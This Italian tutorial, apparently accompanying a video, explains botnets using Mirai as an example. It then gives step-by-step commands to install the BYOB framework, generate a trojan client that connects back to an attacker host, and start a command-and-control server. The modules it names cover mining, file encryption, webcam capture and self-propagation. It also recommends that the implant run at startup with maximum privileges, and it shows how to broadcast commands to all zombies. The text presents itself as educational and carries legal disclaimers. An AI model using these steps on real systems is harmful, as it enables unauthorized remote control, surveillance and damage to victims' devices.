In questa puntata di cybersecurity parleremo di una rete di computer “infetti”. La parola botnet indica una “rete di bot” (abbreviazione di robot o più largamente software automatico), tipicamente sotto il controllo di uno o più botherd, letteralmente "pastore di bot" (gioco di parole da shepherd) o, se preferite, bot-master. Installeremo un software gratuito, che ci consentirà il controllo di qualunque dispositivo connesso alla rete con un solo comando. Inutile precisare che controllare più dispositivi contemporaneamente non rappresenta un reato di per sé. Farlo per creare danno o non essendo autorizzati sì, ed è punito per Legge. Questo video e questo articolo sono, come sempre, solo a scopo dimostrativo/divulgativo/istruttivo.

Un host infetto, o comunque facente parte di una botnet, diventa uno schiavo a disposizione del suo botherd, che può essere colui che lo ha distribuito o un altro. Nel mondo ci sono tantissime botnet, anche con milioni di dispositivi. Sicuramente la  più famigerata è stata opera del malware MIRAI (tradotto dal giapponese, futuro), scoperta nel 2014, che comprendeva milioni di dispositivi IoT oltre che a PC. La particolarità di Mirai era che, nella sua ricerca di indirizzi IP da sfruttare attraverso i protocolli SSH o Telnet escludeva a priori alcuni indirizzi particolarmente controllati, eludendo in questo modo i controlli più approfonditi. Così facendo dal 2014 al 2016, è stata usata per lanciare attacchi a diversi obiettivi sensibili, tipo server DNS e altri servizi essenziali. Le azioni malevoli perpetrate da una botnet possono essere di varia natura, da attacchi tipo DDOS a minare bitcoin, distribuzione di phishing e spyware, insomma veramente uno strumento eccezionale.

Generalmente si cerca di limitare l’input-output dai nodi in uscita, per ridurre le possibilità di farsi scoprire. Da qui la necessità di avere botnet sempre più grandi che funzionano solo nel momento in cui vengono richiamate. Quest’ultima particolarità rende più difficile l’identificazione dei dispositivi infetti.

In questo tutorial useremo un tool chiamato BYOB e sviluppato da Daniel Vega-Myre.

BYOB (Build Your Own Botnet) è un progetto open-source per i ricercatori e gli sviluppatori di sicurezza. Serve a costruire e gestire una botnet basilare e approfondire la loro comprensione dei malware, al fine di migliorare la capacità di sviluppare contromisure contro queste minacce.
Il suo design modulare consente di implementare facilmente la nostra botnet con un nostro codice e quindi aggiungere nuove e interessanti funzionalità, senza dover scrivere uno strumento di amministrazione remota da zero o progettare l'architettura del server di comando e controllo.

Creiamo ora la nostra botnet con Kali... Ma prima se già non lo avete procediamo ad installare git


sudo apt install git


ed ora installiamo BYOB


git clone https://github.com/malwaredllc/byob.git


una volta installato spostiamoci nella sottodirectory 


cd byob/byob


Con:


python setup.py 

Lasciamo allo script automatico installare tutte le dipendenze necessarie. Eventualmente ci fossero errori nell' installazione possiamo procedere manualmente con 


pip install -r


Una volta installato tutto possiamo iniziare con la creazione client, vale a dire il vero e proprio programma che infetterà la “vittima”. La sintassi del comando è:


python client.py [args] [LHOST porta]


dove in args possiamo indicare i moduli che sono salvati nella cartella modules. Tra  cui si annoverano moduli per minare oppure criptare il file, addirittura uno apposta per webcam ed un altro per diffondersi. Seguito dall’IP LHOST e la porta in ascolto. Tenete presente che gli indirizzi IP supportati possono essere di tre tipi:
    • - 127.0.0.1 se vogliamo effettuare il test usando la macchina attacker in local host… tecnicamente eseguirlo nello stesso PC
    • - 192.168.X.X  se vogliamo effettuare il test in rete locale con due o più PC.
    • - Indirizzo pubblico, o DNS dinamico
La porta di default è 1337, per testare in localhost la stringa è:


python client.py 127.0.0.1 1337

Lanciato questo comando viene creato un file generalmente nominato:


byob_hHt.py

I caratteri dopo underscore sono random.
Per testare il bot appena creato apriamo una nuova shell. Con due shell aperte simuliamo la situazione in cui in remoto sia in esecuzione il nostro malware e sull’altra la macchina dell’attaccante e quindi avviamo prima il server della macchina attaccante con il comando:


python server.py –port 1337


E sulla macchina vittima avvieremo con 


python byob_hHt.py


Bisogna prima avviare il server, perché se il servizio si avvia e non trova il server smette l’esecuzione. Sulla macchina vittima sarebbe ideale venisse installato con esecuzione automatica e con i massimi privilegi.

Appena sarà avviato il trojan sulla vittima, dal lato botherder avremo una notifica di una nuova connessione... «Sei nel "mio radar" amico!»

Da questo momento in poi sarà sotto il nostro controllo.  Il comando:

 
help


ci restituisce la lista di comandi possibili, per dare un comando a tutti gli schiavi/zombie in linea basterà digitare "broadcast" seguito dal comando che vogliamo impartire. Ovviamente possiamo lanciare tutti i comandi che vogliamo anche contemporaneamente. Con i moduli possiamo fare veramente di tutto, e il nostro invito è di giocare e divertirsi a creare bot net sui nostri dispositivi. Lo strumento descritto non è assolutamente uno strumento professionale, quelli li potete trovare per circa $ 50 su altri canali. Inoltre ricordiamo un'ultima volta: usatelo sempre e solo su vostri dispositivi o laddove siete autorizzati.